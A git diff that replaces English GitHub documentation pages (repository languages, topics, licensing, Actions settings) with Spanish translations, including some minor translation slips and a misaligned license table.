   - /articles/my-repository-is-marked-as-the-wrong-language
   - /articles/why-isn-t-my-favorite-language-recognized
@@ -17,13 +17,14 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Repository languages
+shortTitle: Lenguajes del repositorio
 ---
-{% data variables.product.product_name %} uses the open source [Linguist library](https://github.com/github/linguist) to
-determine file languages for syntax highlighting and repository statistics. Language statistics will update after you push changes to your default branch.
 
-Some files are hard to identify, and sometimes projects contain more library and vendor files than their primary code. If you're receiving incorrect results, please consult the Linguist [troubleshooting guide](https://github.com/github/linguist/blob/master/docs/troubleshooting.md) for help.
+{% data variables.product.product_name %} utiliza la [biblioteca de Linguist](https://github.com/github/linguist) de código abierto para
+determinar los lenguajes de un archivo para resaltar la sintaxis y obtener la estadística del repositorio. Las estadísticas de lenguaje se actualizarán después de que subas los cambios a tu rama predeterminada.
 
-## Markup languages
+Algunos archivos son difíciles de identificar y, a veces, los proyectos contienen más archivos de biblioteca y de proveedor que su código primario. Si estás recibiendo resultados incorrectos, consulta la [Guía de solución de problemas](https://github.com/github/linguist/blob/master/docs/troubleshooting.md) del Lingüista para obtener ayuda.
 
-Markup languages are rendered to HTML and displayed inline using our open-source [Markup library](https://github.com/github/markup). At this time, we are not accepting new markup languages to show within {% data variables.product.product_name %}. However, we do actively maintain our current markup languages. If you see a problem, [please create an issue](https://github.com/github/markup/issues/new).
+## Lenguaje Markup
+
+Los lenguajes Markup están representados para HTML y mostrados en línea usando nuestra [Biblioteca Markup](https://github.com/github/markup) de código abierto. En este momento, no estamos aceptando nuevos lenguajes para mostrar dentro de {% data variables.product.product_name %}. Sin embargo, mantenemos activamente nuestros lengujes Markup actuales. Si encuentras un problema, [crea una propuesta](https://github.com/github/markup/issues/new).
diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
index 48c0c4d4bf..90d69b02e1 100644
--- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
+++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
@@ -1,6 +1,6 @@
 ---
-title: Classifying your repository with topics
-intro: 'To help other people find and contribute to your project, you can add topics to your repository related to your project''s intended purpose, subject area, affinity groups, or other important qualities.'
+title: Clasificar tu repositorio con temas
+intro: 'Para ayudar a otras personas a buscar y contribuir en tu proyecto, puedes agregar temas a tu repositorio relacionados con el fin previsto de tu proyecto, área temática, grupos de afinidad u otras cualidades importantes.'
 redirect_from:
   - /articles/about-topics
   - /articles/classifying-your-repository-with-topics
@@ -13,30 +13,28 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Classify with topics
+shortTitle: Clasificar con temas
 ---
-## About topics
 
-With topics, you can explore repositories in a particular subject area, find projects to contribute to, and discover new solutions to a specific problem. Topics appear on the main page of a repository. You can click a topic name to {% ifversion fpt or ghec %}see related topics and a list of other repositories classified with that topic{% else %}search for other repositories with that topic{% endif %}.
+## Acerca de los temas
 
-![Main page of the test repository showing topics](/assets/images/help/repository/os-repo-with-topics.png)
+En el caso de los temas, puedes explorar repositorios en un área temática particular, buscar proyectos a los cuales contribuir y descubrir nuevas soluciones para un problema específico. Los temas aparecen en la página principal de un repositorio. Puedes hacer clic en el nombre de un tema para {% ifversion fpt or ghec %}ver los temas relacionados y una lista de otros repositorios clasificados con ese tema{% else %}buscar otros repositorios con ese tema{% endif %}.
 
-To browse the most used topics, go to https://github.com/topics/.
+![Página principal del repositorio de prueba que muestra temas](/assets/images/help/repository/os-repo-with-topics.png)
 
-{% ifversion fpt or ghec %}You can contribute to {% data variables.product.product_name %}'s set of featured topics in the [github/explore](https://github.com/github/explore) repository. {% endif %}
+Para explorar los temas más usados, visita https://github.com/topics/.
 
-Repository admins can add any topics they'd like to a repository. Helpful topics to classify a repository include the repository's intended purpose, subject area, community, or language.{% ifversion fpt or ghec %} Additionally, {% data variables.product.product_name %} analyzes public repository content and generates suggested topics that repository admins can accept or reject. Private repository content is not analyzed and does not receive topic suggestions.{% endif %}
+{% ifversion fpt or ghec %}También puedes contribuir al conjunto de temas presentados de {% data variables.product.product_name %} en el repositorio [github/explore](https://github.com/github/explore). {% endif %}
 
-{% ifversion fpt %}Public and private{% elsif ghec or ghes %}Public, private, and internal{% elsif ghae %}Private and internal{% endif %} repositories can have topics, although you will only see private repositories that you have access to in topic search results.
+Los administradores del repositorio pueden agregar los temas que deseen a un repositorio. Entre los temas útiles para clasificar un repositorio se incluyen fines previstos, áreas temáticas, comunidad o idioma.{% ifversion fpt or ghec %}Además, {% data variables.product.product_name %} analiza el contenido de repositorios públicos y genera temas sugeridos que los administradores de los repositorios pueden aceptar o rechazar. El contenido del repositorio privado no se analiza y no recibe sugerencias de tema.{% endif %}
 
-You can search for repositories that are associated with a particular topic. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." You can also search for a list of topics on {% data variables.product.product_name %}. For more information, see "[Searching topics](/search-github/searching-on-github/searching-topics)."
+{% ifversion fpt %}Los repositorios públicos y privados{% elsif ghec or ghes %}Los repositorios públicos, privados e internos{% elsif ghae %}Los repositorios públicos e internos{% endif %} pueden tener temas, aunque solo verás los repositorios privados a los que puedes acceder en los resultados de búsqueda de temas.
 
-## Adding topics to your repository
+Puedes buscar los repositorios que están asociados con un tema en particular. Para obtener más información, consulta "[Buscar repositorios](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." También puedes buscar un listado de temas en {% data variables.product.product_name %}. Para obtener más información, consulta "[Buscar temas](/search-github/searching-on-github/searching-topics)".
+
+## Agregar temas a tu repositorio
 
 {% data reusables.repositories.navigate-to-repo %}
-2. To the right of "About", click {% octicon "gear" aria-label="The Gear icon" %}.
-  ![Gear icon on main page of a repository](/assets/images/help/repository/edit-repository-details-gear.png)
-3. Under "Topics", type the topic you want to add to your repository, then type a space.
-  ![Form to enter topics](/assets/images/help/repository/add-topic-form.png)
-4. After you've finished adding topics, click **Save changes**.
-  !["Save changes" button in "Edit repository details"](/assets/images/help/repository/edit-repository-details-save-changes-button.png)
+2. A la derecha de "Acerca de", da clic en el {% octicon "gear" aria-label="The Gear icon" %}. ![Icono de engrane en la página principal del repositorio](/assets/images/help/repository/edit-repository-details-gear.png)
+3. Debajo de "Temas", teclea el tema que quieras agregar a tu repositorio y después teclea un espacio. ![Formulario para ingresar temas](/assets/images/help/repository/add-topic-form.png)
+4. Después de que termines de agregar los temas, da clic en **Guardar cambios**. ![Botón de "Guardar cambios" en "Editar los detalles del repositorio"](/assets/images/help/repository/edit-repository-details-save-changes-button.png)
diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
index 3ac3c54bdd..5d93b01848 100644
--- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
+++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Licensing a repository
-intro: 'Public repositories on GitHub are often used to share open source software. For your repository to truly be open source, you''ll need to license it so that others are free to use, change, and distribute the software.'
+title: Generar licencia para un repositorio
+intro: 'Los repositorios públicos de GitHub se suelen utilizar para compartir software de código abierto. Para que tu repositorio sea verdaderamente de código abierto, tendrás que generarle una licencia. De este modo, las demás personas podrán usar, modificar y distribuir el software con libertad.'
 redirect_from:
   - /articles/open-source-licensing
   - /articles/licensing-a-repository
@@ -13,86 +13,86 @@ versions:
 topics:
   - Repositories
 ---
-## Choosing the right license
+  ## Elegir la licencia correcta
 
-We created [choosealicense.com](https://choosealicense.com), to help you understand how to license your code. A software license tells others what they can and can't do with your source code, so it's important to make an informed decision.
+Creamos [choosealicense.com](https://choosealicense.com), para ayudarte a entender cómo generar una licencia para tu código. Una licencia de software les informa a las demás personas lo que pueden y no pueden hacer con tu código fuente; por lo tanto, es importante tomar una decisión informada.
 
-You're under no obligation to choose a license. However, without a license, the default copyright laws apply, meaning that you retain all rights to your source code and no one may reproduce, distribute, or create derivative works from your work. If you're creating an open source project, we strongly encourage you to include an open source license. The [Open Source Guide](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project) provides additional guidance on choosing the correct license for your project.
+No tienes la obligación de elegir una licencia. Sin embargo, sin una licencia, se aplican las leyes de derecho de autor predeterminadas, lo que implica que conservas todos los derechos de tu código fuente, y nadie puede reproducir, distribuir o crear trabajos a partir de tu trabajo. Si estás creando un proyecto de código abierto, te alentamos fuertemente a que incluyas una licencia de código abierto. La [Guía de código abierto](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project) brinda más orientación para elegir la licencia correcta para tu proyecto.
 
 {% note %}
 
-**Note:** If you publish your source code in a public repository on {% data variables.product.product_name %}, {% ifversion fpt or ghec %}according to the [Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service), {% endif %}other users of {% data variables.product.product_location %} have the right to view and fork your repository. If you have already created a repository and no longer want users to have access to the repository, you can make the repository private. When you change the visibility of a repository to private, existing forks or local copies created by other users will still exist. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."
+**Nota:** Si publicas tu código fuente en un repositorio público en {% data variables.product.product_name %}, {% ifversion fpt or ghec %}de acuerdo con las [Condiciones de servicio](/free-pro-team@latest/github/site-policy/github-terms-of-service), {% endif %}otros usuarios de {% data variables.product.product_location %} tiene el derecho de ver y bifurcar tu repositorio. Si ya creaste un repositorio y no quieres que los usuarios tengan acceso a él, puedes hacer este repositorio privado. Cuando cambias la visibilidad de un repositorio a privada, las bifurcaciones existentes o copias locales que crean otros usuarios seguirán existiendo. Para obtener más información, consulta la sección "[Configurar la visibilidad de los repositorios](/github/administering-a-repository/setting-repository-visibility)".
 
 {% endnote %}
 
-## Determining the location of your license
+## Determinar la ubicación de tu licencia
 
-Most people place their license text in a file named `LICENSE.txt` (or `LICENSE.md` or `LICENSE.rst`) in the root of the repository; [here's an example from Hubot](https://github.com/github/hubot/blob/master/LICENSE.md).
+La mayoría de las personas colocan el texto de su licencia en un archivo que se llame `LICENSE.txt` (o `LICENSE.md` o `LICENSE.rst`) en la raíz del repositorio; [Aquí tienes un ejemplo de Hubot](https://github.com/github/hubot/blob/master/LICENSE.md).
 
-Some projects include information about their license in their README. For example, a project's README may include a note saying "This project is licensed under the terms of the MIT license."
+Algunos proyectos incluyen información acerca de sus licencias en sus README. Por ejemplo, el README de un proyecto puede incluir una nota que diga "Este proyecto cuenta con licencia conforme a los términos de la licencia MIT".
 
-As a best practice, we encourage you to include the license file with your project.
+Como buena práctica, te alentamos a que incluyas el archivo de licencia en tu proyecto.
 
-## Searching GitHub by license type
+## Buscar en GitHub por tipo de licencia
 
-You can filter repositories based on their license or license family using the `license` qualifier and the exact license keyword:
+Puedes filtrar repositorios en función de su licencia o familia de licencia usando el calificador de `licencia` y la palabra clave exacta de la licencia:
 
-License | License keyword
----  | ---
-| Academic Free License v3.0 | `afl-3.0` |
-| Apache license 2.0 | `apache-2.0` |
-| Artistic license 2.0 | `artistic-2.0` |
-| Boost Software License 1.0 | `bsl-1.0` |
-| BSD 2-clause "Simplified" license | `bsd-2-clause` |
-| BSD 3-clause "New" or "Revised" license | `bsd-3-clause` |
-| BSD 3-clause Clear license | `bsd-3-clause-clear` |
-| Creative Commons license family | `cc` |
-| Creative Commons Zero v1.0 Universal | `cc0-1.0` |
-| Creative Commons Attribution 4.0 | `cc-by-4.0` |
-| Creative Commons Attribution Share Alike 4.0 | `cc-by-sa-4.0` |
-| Do What The F*ck You Want To Public License | `wtfpl` |
-| Educational Community License v2.0 | `ecl-2.0` |
-| Eclipse Public License 1.0 | `epl-1.0` |
-| Eclipse Public License 2.0 | `epl-2.0` |
-| European Union Public License 1.1 | `eupl-1.1` |
-| GNU Affero General Public License v3.0 | `agpl-3.0` |
-| GNU General Public License family | `gpl` |
-| GNU General Public License v2.0 | `gpl-2.0` |
-| GNU General Public License v3.0 | `gpl-3.0` |
-| GNU Lesser General Public License family | `lgpl` |
-| GNU Lesser General Public License v2.1 | `lgpl-2.1` |
-| GNU Lesser General Public License v3.0 | `lgpl-3.0` |
-| ISC | `isc` |
-| LaTeX Project Public License v1.3c | `lppl-1.3c` |
-| Microsoft Public License | `ms-pl` |
-| MIT | `mit` |
-| Mozilla Public License 2.0 | `mpl-2.0` |
-| Open Software License 3.0 | `osl-3.0` |
-| PostgreSQL License | `postgresql` |
-| SIL Open Font License 1.1 | `ofl-1.1` |
-| University of Illinois/NCSA Open Source License | `ncsa` |
-| The Unlicense | `unlicense` |
-| zLib License | `zlib` |
+| Licencia | Palabra clave de la licencia                                  |
+| -------- | ------------------------------------------------------------- |
+|          | Academic Free License v3.0 | `afl-3.0`                        |
+|          | Apache license 2.0 | `apache-2.0`                             |
+|          | Artistic license 2.0 | `artistic-2.0`                         |
+|          | Boost Software License 1.0 | `bsl-1.0`                        |
+|          | BSD 2-clause "Simplified" license | `bsd-2-clause`            |
+|          | BSD 3-clause "New" or "Revised" license | `bsd-3-clause`      |
+|          | BSD 3-clause Clear license | `bsd-3-clause-clear`             |
+|          | Creative Commons license family | `cc`                        |
+|          | Creative Commons Zero v1.0 Universal | `cc0-1.0`              |
+|          | Creative Commons Attribution 4.0 | `cc-by-4.0`                |
+|          | Creative Commons Attribution Share Alike 4.0 | `cc-by-sa-4.0` |
+|          | Do What The F*ck You Want To Public License | `wtfpl`         |
+|          | Educational Community License v2.0 | `ecl-2.0`                |
+|          | Eclipse Public License 1.0 | `epl-1.0`                        |
+|          | Eclipse Public License 2.0 | `epl-2.0`                        |
+|          | European Union Public License 1.1 | `eupl-1.1`                |
+|          | GNU Affero General Public License v3.0 | `agpl-3.0`           |
+|          | GNU General Public License family | `gpl`                     |
+|          | GNU General Public License v2.0 | `gpl-2.0`                   |
+|          | GNU General Public License v3.0 | `gpl-3.0`                   |
+|          | GNU Lesser General Public License family | `lgpl`             |
+|          | GNU Lesser General Public License v2.1 | `lgpl-2.1`           |
+|          | GNU Lesser General Public License v3.0 | `lgpl-3.0`           |
+|          | ISC | `isc`                                                   |
+|          | LaTeX Project Public License v1.3c | `lppl-1.3c`              |
+|          | Microsoft Public License | `ms-pl`                            |
+|          | MIT | `mit`                                                   |
+|          | Mozilla Public License 2.0 | `mpl-2.0`                        |
+|          | Open Software License 3.0 | `osl-3.0`                         |
+|          | PostgreSQL License | `postgresql`                             |
+|          | SIL Open Font License 1.1 | `ofl-1.1`                         |
+|          | University of Illinois/NCSA Open Source License | `ncsa`      |
+|          | The Unlicense | `unlicense`                                   |
+|          | zLib License | `zlib`                                         |
 
-When you search by a family license, your results will include all licenses in that family. For example, when you use the query `license:gpl`, your results will include repositories licensed under GNU General Public License v2.0 and GNU General Public License v3.0. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-by-license)."
+Cuando busques por una licencia de familia, los resultados incluirán todas las licencias de esa familia. Por ejemplo, cuando utilices la consulta `license:gpl`, los resultados incluirán los repositorios con licencia de GNU General Public License v2.0 y GNU General Public License v3.0. Para obtener más información, consulta "[Buscar repositorios](/search-github/searching-on-github/searching-for-repositories/#search-by-license)."
 
-## Detecting a license
+## Detectar una licencia
 
-[The open source Ruby gem Licensee](https://github.com/licensee/licensee) compares the repository's *LICENSE* file to a short list of known licenses. Licensee also provides the [Licenses API](/rest/reference/licenses) and [gives us insight into how repositories on {% data variables.product.product_name %} are licensed](https://github.com/blog/1964-open-source-license-usage-on-github-com). If your repository is using a license that isn't listed on the [Choose a License website](https://choosealicense.com/appendix/), you can [request including the license](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license).
+[El titular de licencia de la gema de código abierto Ruby](https://github.com/licensee/licensee) compara el archivo *LICENSE* (LICENCIA) del repositorio con una lista corta de licencias conocidas. El titular de licencia también proporciona las [API de licencias](/rest/reference/licenses) y [nos da información sobre las licencias que tienen los repositorios de {% data variables.product.product_name %}](https://github.com/blog/1964-open-source-license-usage-on-github-com). Si tu repositorio utiliza una licencia que no está detallada en el [Sitio web Choose a License](https://choosealicense.com/appendix/), puedes[solicitar incluir la licencia](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license).
 
-If your repository is using a license that is listed on the Choose a License website and it's not displaying clearly at the top of the repository page, it may contain multiple licenses or other complexity. To have your license detected, simplify your *LICENSE* file and note the complexity somewhere else, such as your repository's *README* file.
+Si tu repositorio utiliza una licencia que está detallada en el sitio web Choose a License y no se muestra claramente en la parte superior de la página del repositorio, puede que contenga múltiples licencias u otra complejidad. Para que se detecten tus licencias, simplifica tu archivo *LICENSE* y anota la complejidad en algún otro lado, como en el archivo *README* de tu repositorio.
 
-## Applying a license to a repository with an existing license
+## Aplicar una licencia a un repositorio con una licencia existente
 
-The license picker is only available when you create a new project on GitHub. You can manually add a license using the browser. For more information on adding a license to a repository, see "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)."
+El selector de licencias solo está disponible cuando creas un proyecto nuevo en GitHub. Puedes agregar manualmente una licencia utilizando el buscador. Para obtener más información acerca de agregar una licencia a un repositorio, consulta "[Agregar una licencia a un repositorio](/articles/adding-a-license-to-a-repository)."
 
-![Screenshot of license picker on GitHub.com](/assets/images/help/repository/repository-license-picker.png)
+![Captura de pantalla del selector de licencias en GitHub.com](/assets/images/help/repository/repository-license-picker.png)
 
-## Disclaimer
+## Descargo
 
-The goal of GitHub's open source licensing efforts is to provide a starting point to help you make an informed choice. GitHub displays license information to help users get information about open source licenses and the projects that use them. We hope it helps, but please keep in mind that we’re not lawyers and that we make mistakes like everyone else. For that reason, GitHub provides the information on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the license information. If you have any questions regarding the right license for your code or any other legal issues relating to it, it’s always best to consult with a professional.
+El objetivo de los esfuerzos de generación de licencias de código abierto de GitHub es proporcionar un punto de partida para ayudarte a hacer una elección informada. GitHub muestra información de licencias para ayudar a los usuarios a obtener información acerca de las licencias de código abierto y los proyectos que las utilizan. Esperamos que te sea útil, pero ten presente que no somos abogados y que cometemos errores como todo el mundo. Por ese motivo, GitHub proporciona la información sobre una base hipotética de "tal cual" y no da garantías al respecto de ninguna información o licencia proporcionada en función o a través de esta. Tampoco se hace responsable de los daños que surjan por el uso de la información de la licencia. Si tienes alguna pregunta al respecto de la licencia correcta para tu código o cualquier otro problema legal relacionado con esto, siempre es mejor consultar con un profesional.
 
-## Further reading
+## Leer más
 
-- The Open Source Guides' section "[The Legal Side of Open Source](https://opensource.guide/legal/)"{% ifversion fpt or ghec %}
+- La sección de Guías de código abierto "[La parte legal del código abierto](https://opensource.guide/legal/)"{% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md
index 90bd18f498..00b88f5164 100644
--- a/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md
+++ b/translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing GitHub Actions settings for a repository
-intro: 'You can disable or configure {% data variables.product.prodname_actions %} for a specific repository.'
+title: Administrar los ajustes de las GitHub Actions de un repositorio
+intro: 'Puedes inhabilitar o configurar las {% data variables.product.prodname_actions %} en un repositorio específico.'
 redirect_from:
   - /github/administering-a-repository/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository
   - /github/administering-a-repository/managing-repository-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository
@@ -16,60 +16,59 @@ topics:
   - Actions
   - Permissions
   - Pull requests
-shortTitle: Manage GitHub Actions settings
+shortTitle: Administrar los ajustes de las GitHub Actions
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About {% data variables.product.prodname_actions %} permissions for your repository
+## Acerca de los permisos de {% data variables.product.prodname_actions %} para tu repositorio
 
-{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)."
+{% data reusables.github-actions.disabling-github-actions %}Para obtener más información acerca de {% data variables.product.prodname_actions %}, consulta la sección "[Acerca de {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)".
 
-You can enable {% data variables.product.prodname_actions %} for your repository. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for your repository altogether. {% data reusables.github-actions.disabled-actions-description %}
+Puedes habilitar {% data variables.product.prodname_actions %} para tu repositorio. {% data reusables.github-actions.enabled-actions-description %} Puedes inhabilitar {% data variables.product.prodname_actions %} totalmente para tu repositorio. {% data reusables.github-actions.disabled-actions-description %}
 
-Alternatively, you can enable {% data variables.product.prodname_actions %} in your repository but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %}
+De manera alterna, puedes habilitar {% data variables.product.prodname_actions %} en tu repositorio, pero limitar las acciones que un flujo de trabajo puede ejecutar. {% data reusables.github-actions.enabled-local-github-actions %}
 
-## Managing {% data variables.product.prodname_actions %} permissions for your repository
+## Administrar los permisos de {% data variables.product.prodname_actions %} para tu repositorio
 
-You can disable all workflows for a repository or set a policy that configures which actions can be used in a repository.
+Puedes inhabilitar todos los flujos de trabajo para un repositorio o configurar una política que configure qué acciones pueden utilzarse en éste.
 
 {% data reusables.actions.actions-use-policy-settings %}
 
 {% note %}
 
-**Note:** You might not be able to manage these settings if your organization has an overriding policy or is managed by an enterprise that has overriding policy. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)."
+**Nota:** Tal vez no pueds administrar estas configuraciones si tu organización tiene una política de anulación o si la administra una cuenta empresarial que tiene dicha configuración. Para obtener más información, consulta la sección "[Inhabilitar o limitar las {% data variables.product.prodname_actions %} para tu organización](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" o "[Reforzar las políticas para las {% data variables.product.prodname_actions %} en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)".
 
 {% endnote %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.settings-sidebar-actions %}
-1. Under **Actions permissions**, select an option.
-  ![Set actions policy for this organization](/assets/images/help/repository/actions-policy.png)
-1. Click **Save**.
+1. Debajo de **Permisos de las acciones**, selecciona una opción. ![Configurar la política de acciones para esta organización](/assets/images/help/repository/actions-policy.png)
+1. Haz clic en **Save ** (guardar).
 
-## Allowing specific actions to run
+## Permitir que se ejecuten acciones específicas
 
 {% data reusables.actions.allow-specific-actions-intro %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.settings-sidebar-actions %}
-1. Under **Actions permissions**, select **Allow select actions** and add your required actions to the list.
+1. Debajo de **Permisos de las acciones**, selecciona **Permitir acciones seleccionadas** y agrega tus acciones requeridas a la lista.
    {%- ifversion ghes > 3.0 %}
-   ![Add actions to allow list](/assets/images/help/repository/actions-policy-allow-list.png)
+   ![Agregar acciones a la lista de permitidos](/assets/images/help/repository/actions-policy-allow-list.png)
    {%- else %}
-   ![Add actions to allow list](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png)
+   ![Agregar acciones a la lista de permitidos](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png)
    {%- endif %}
-2. Click **Save**.
+2. Haz clic en **Save ** (guardar).
 
 {% ifversion fpt or ghec %}
-## Configuring required approval for workflows from public forks
+## Configurar las aprobaciones requeridas para los flujos de trabajo desde las bifurcaciones pùblicas
 
 {% data reusables.actions.workflow-run-approve-public-fork %}
 
-You can configure this behavior for a repository using the procedure below. Modifying this setting overrides the configuration set at the organization or enterprise level.
+Puedes configurar este comportamiento para un repositorio si utilizas el siguiente procedimiento. El modificar este ajuste anula la configuración que se haya hecho a nviel organizacional o empresarial.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
@@ -79,11 +78,11 @@ You can configure this behavior for a repository using the procedure below. Modi
 {% data reusables.actions.workflow-run-approve-link %}
 {% endif %}
 
-## Enabling workflows for private repository forks
+## Habilitar flujos de trabajo para las bifurcaciones de repositorios privados
 
 {% data reusables.github-actions.private-repository-forks-overview %}
 
-### Configuring the private fork policy for a repository
+### Configurar la política de bifurcaciones privadas para un repositorio
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
@@ -91,11 +90,11 @@ You can configure this behavior for a repository using the procedure below. Modi
 {% data reusables.github-actions.private-repository-forks-configure %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-## Setting the permissions of the `GITHUB_TOKEN` for your repository
+## Configurar los permisos del `GITHUB_TOKEN` para tu repositorio
 
 {% data reusables.github-actions.workflow-permissions-intro %}
 
-The default permissions can also be configured in the organization settings. If the more restricted default has been selected in the organization settings, the same option is auto-selected in your repository settings and the permissive option is disabled.
+También pueden configurarse los permisos predeterminados en los ajustes de la organización. Si el predeterminado más restringido se seleccionó en la configuración de la organización, la misma opción se autoselecciona en tu configuración de repositorio y la opción permisiva se inhabilita.
 
 {% data reusables.github-actions.workflow-permissions-modifying %}
 
@@ -104,38 +103,36 @@ The default permissions can also be configured in the organization settings. If
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.settings-sidebar-actions %}
-1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
-  ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository.png)
-1. Click **Save** to apply the settings.
+1. Debajo de **Permisos del flujo de trabajo**, elige si quieres que el `GITHUB_TOKEN` tenga permisos de lectura y escritura para todos los alcances o solo acceso de lectura para el alcance `contents`. ![Configurar los permisos del GITHUB_TOKEN para este repositorio](/assets/images/help/settings/actions-workflow-permissions-repository.png)
+1. Da clic en **Guardar** para aplicar la configuración.
 {% endif %}
 
 {% ifversion ghes > 3.3 or ghae-issue-4757 or ghec %}
-## Allowing access to components in an internal repository
+## Permitir el acceso a los componentes en un repositorio interno
 
-Members of your enterprise can use internal repositories to work on projects without sharing information publicly. For information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories)."
+Los miembros de tu empresa pueden utilizar repositorios internos para trabajar en proyectos sin compartir información públicamente. Para obtener más información, consulta la sección "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories)".
 
-To configure whether workflows in an internal repository can be accessed from outside the repository:
+Para configurar si se puede acceder desde un repositorio externo a los flujos de trabajo de un repositorio interno:
 
-1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the internal repository.
-1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.
+1. En {% data variables.product.prodname_dotcom %}, navega hasta la página principal del repositorio interno.
+1. Debajo de tu nombre de repositorio, haz clic en {% octicon "gear" aria-label="The gear icon" %}**Configuración**.
 {% data reusables.repositories.settings-sidebar-actions %}
-1. Under **Access**, choose one of the access settings:
-   ![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png)
-   * **Not accessible** - Workflows in other repositories can't use workflows in this repository.
-   * **Accessible from repositories in the '&lt;organization name&gt;' organization** - Workflows in other repositories can use workflows in this repository if they are part of the same organization and their visibility is private or internal.
-   * **Accessible from repositories in the '&lt;enterprise name&gt;' enterprise** - Workflows in other repositories can use workflows in this repository if they are part of the same enterprise and their visibility is private or internal.
-1. Click **Save** to apply the settings.
+1. Debajo de **Acceso**, elige uno de los ajustes de acceso: ![Configurar el acceso a los componentes de las acciones](/assets/images/help/settings/actions-access-settings.png)
+   * **No accesible** - Los flujos de trabajo en otros repositorios no pueden utilizar flujos de trabajo en este repositorio.
+   * **Accesible desde los repositorios en la '&lt;organization name&gt;' organización ** - Los flujos de trabajo en otros repositorios pueden utilizar los flujos de trabajo en este repositorio si son parte de la misma organización y su visibilidad es privada o interna.
+   * **Accesible desde los repositorios en la '&lt;enterprise name&gt;' empresa ** - Los flujos de trabajo en otros repositorios pueden utilizar los flujos de trabajo en este repositorio si son parte de la misma empresa y su visibilidad es privada o interna.
+1. Da clic en **Guardar** para aplicar la configuración.
 {% endif %}
 
-## Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository
+## Configurar el periodo de retención de los artefactos y bitácoras de las {% data variables.product.prodname_actions %} en tu repositorio
 
-You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository.
+Puedes configurar el periodo de retenciòn para los artefactos de las {% data variables.product.prodname_actions %} y las bitàcoras en tu repositorio.
 
 {% data reusables.actions.about-artifact-log-retention %}
